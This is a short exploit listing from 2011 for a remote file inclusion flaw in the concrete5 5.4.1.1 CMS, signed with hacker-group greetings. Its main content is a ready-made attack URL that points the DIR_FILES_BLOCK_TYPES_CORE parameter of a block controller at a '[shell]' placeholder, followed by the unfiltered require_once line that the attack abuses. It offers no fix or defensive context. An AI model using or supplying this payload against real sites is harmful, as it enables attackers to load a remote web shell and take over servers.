ExploitFixes
concrete5.4.1.1 Remote File Include 2011-01-05 11:15:20

#######################################################
#concrete5.4.1.1 <== Remote File Include
#By n0n0x
#Homepage: http://priasantai.uni.cc/
#Download script :http://sourceforge.net/projects/concretecms/files/concrete5/5.4.1.1/concrete5.4.1.1.zip/download
#######################################################
=========================================

/concrete5.4.1.1/concrete/blocks/file/controller.php?DIR_FILES_BLOCK_TYPES_CORE=[shell]??

<?php
defined('C5_EXECUTE') or die("Access Denied.");
require_once(DIR_FILES_BLOCK_TYPES_CORE . '/library_file/controller.php'); <== not filter

==========================================
################################################
Greetz: all member | manadocoding.org - sekuritiOnline.net

friends: str0ke, angky.tatoki, EA ngel, bL4Ck_3n91n3, 0pa, x0r0n, team_elite
devilbat. cr4wl3r, cyberl0g, lumut-, Anti_Hack, DskyMC, mr.c, doniskynet
################################################